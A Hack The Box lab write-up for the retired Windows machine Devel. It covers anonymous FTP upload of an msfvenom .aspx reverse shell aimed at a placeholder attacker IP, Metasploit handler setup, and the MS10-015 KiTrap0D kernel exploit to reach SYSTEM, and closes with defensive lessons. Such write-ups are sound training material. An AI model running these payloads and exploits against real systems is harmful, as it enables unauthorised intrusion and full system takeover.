root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat devel.md
// writeups

Devel

15 Mar 2017 · 8 min read
Devel - maquina de Hack The Box

Executive summary — Devel is an Easy Windows box teaching a classic from HTB's early days: an anonymous FTP server that writes into the same directory IIS serves. Uploading an .aspx webshell over FTP is enough for IIS to execute it, handing us a low-privilege shell (iis apppool\web); from there, an unpatched Windows 7 x86 falls to a 2010 kernel exploit (MS10-015 / CVE-2010-0232, KiTrap0D) straight to SYSTEM. A anonymous FTP → RCE via IIS → limited shell → kernel exploit → SYSTEM path.

PlatformHack The Box
Operating systemWindows
DifficultyEasy
StatusRetired
Target IP10.129.26.240

Attack map

[21/80] nmap  →  FTP and IIS both up on the same host
   │  anonymous login confirms: FTP serves IIS's webroot
   ▼
[FTP]  put shell.aspx  (msfvenom, reverse_tcp)
   │  IIS executes ASP.NET → curl triggers the payload
   ▼
[SHELL]  iis apppool\web  (virtual account, low privilege)
   │  sysinfo: unpatched Windows 7 x86 → local_exploit_suggester
   ▼
[KERNEL]  MS10-015 / CVE-2010-0232 (KiTrap0D, x86 only)
   ▼
[SYSTEM]

1. Reconnaissance

We start with a full TCP port sweep, then a targeted scan with version detection and default scripts against whatever comes up open:

nmap -p- --min-rate=1000 -T4 10.129.26.240
nmap -p21,80 -sC -sV 10.129.26.240
21/tcp  open  ftp   Microsoft ftpd
80/tcp  open  http  Microsoft IIS

Hypothesis: only two ports open — FTP and an IIS — on the same box. That's a classic Easy-lab combination: the file service and the web server often point at the same physical directory. If so, anything we upload via FTP would be exposed (and potentially executed) over HTTP.

2. Anonymous FTP access

We try anonymous login, enabled by default on many misconfigured Microsoft FTP installs (user anonymous, any password or none):

ftp 10.129.26.240
# user: anonymous  ·  pass: (enter)
ls
iisstart.htm    welcome.png

Confirmed: iisstart.htm is IIS's default welcome page. Seeing it over FTP means the FTP root is anchored over the same webroot served on port 80. No software vulnerability is needed here — it's an architecture flaw: failing to separate write access from a directory a public service executes.

3. Exploitation (RCE) — .aspx webshell

IIS on Devel runs ASP.NET, so we generate a reverse shell in .aspx format with msfvenom. The windows/meterpreter/reverse_tcp payload defaults to x86 — consistent with what we'll confirm later (sysinfo will report Windows 7 x86):

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ATTACKER_IP> LPORT=4444 -f aspx > shell.aspx

-p sets the payload (meterpreter over reverse TCP), LHOST/LPORT are our listener's IP and port, and -f aspx wraps the shellcode inside a valid .aspx page that the ASP.NET runtime will compile and execute on request. We upload it over the same anonymous FTP (confirming, along the way, that we have write access, not just read) and set up the Metasploit handler to catch the callback:

ftp 10.129.26.240
put shell.aspx
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST <ATTACKER_IP>
set LPORT 4444
run

And trigger it by requesting it over the web, which is what makes IIS execute it under the application pool's privileges:

curl http://10.129.26.240/shell.aspx
[*] Meterpreter session 1 opened

4. Internal enumeration

With the session open, we confirm identity and OS before deciding how to escalate:

getuid
sysinfo
Server username: IIS APPPOOL\Web
OS: Windows 7  ·  Arch: x86  ·  (unpatched)

Two key facts: iis apppool\web is a virtual account (Application Pool Identity) that IIS 7+ creates to isolate each application pool — least-privilege in theory, but that doesn't help if the kernel underneath is unpatched. And sysinfo confirms Windows 7 32-bit (x86), with no patches applied: the perfect candidate for a kernel exploit that only works on 32-bit architectures.

5. Privilege escalation (kernel exploit)

We background the session and run Metasploit's local exploit suggester, which compares the system's version and architecture against its catalog of known local exploits:

background
use post/multi/recon/local_exploit_suggester
set SESSION 1
run
... exploit/windows/local/ms10_015_kitrap0d   Yes ...

It points to MS10-015 (CVE-2010-0232), known as KiTrap0D: a NULL pointer dereference in the kernel subsystem that emulates 16-bit applications (VDM, Virtual DOS Machine) on 32-bit Windows. Since x64 systems don't ship that subsystem at all, the bug only affects x86 — exactly the architecture sysinfo showed us. An unprivileged process can trigger it and elevate straight to SYSTEM. We fire it:

use exploit/windows/local/ms10_015_kitrap0d
set SESSION 1
set LHOST <ATTACKER_IP>
set LPORT 5555
run
[*] Meterpreter session 2 opened
sessions -i 2
getuid  →  NT AUTHORITY\SYSTEM

6. Flags

With SYSTEM confirmed, we read both flags. This can be done by dropping into a native Windows shell inside meterpreter:

shell
type C:\Users\babis\Desktop\user.txt
type C:\Users\Administrator\Desktop\root.txt

or directly with meterpreter's own stdapi commands, without dropping to a native shell at all:

cat C:\\Users\\babis\\Desktop\\user.txt
cat C:\\Users\\Administrator\\Desktop\\root.txt

System fully compromised, from anonymous FTP to NT AUTHORITY\SYSTEM. 🏴‍☠️

Vulnerability summary

PhaseComponentVulnerabilityImpact
FootholdAnonymous FTP + IISAnonymous FTP writes into the same webroot IIS serves → upload and execution of an .aspx webshellRCE as iis apppool\web
PrivEscWindows 7 x86 kernelMS10-015 / CVE-2010-0232 (KiTrap0D): NULL pointer dereference in the 32-bit VDM subsystem, unpatched systemElevation to NT AUTHORITY\SYSTEM

Lessons learned

  • Anonymous, writable FTP over the webroot = RCE on a plate. Write access to a directory a public-facing service interprets or executes should be treated as remote code access, not a simple file transfer.
  • Separate services and permissions: FTP, storage, and the webroot shouldn't share a directory unless strictly necessary, and never with anonymous write access.
  • IIS's low-privilege identity (Application Pool Identity) isn't enough isolation if the kernel underneath is unpatched: user-land privilege separation doesn't stop a kernel exploit.
  • Patch the operating system, not just applications: a fix for MS10-015 had been available since 2010; an unpatched Windows turns any limited shell into SYSTEM.
  • Metasploit's local exploit suggester is the logical first move after landing a limited shell: it automates matching the system's version/architecture against known local exploits.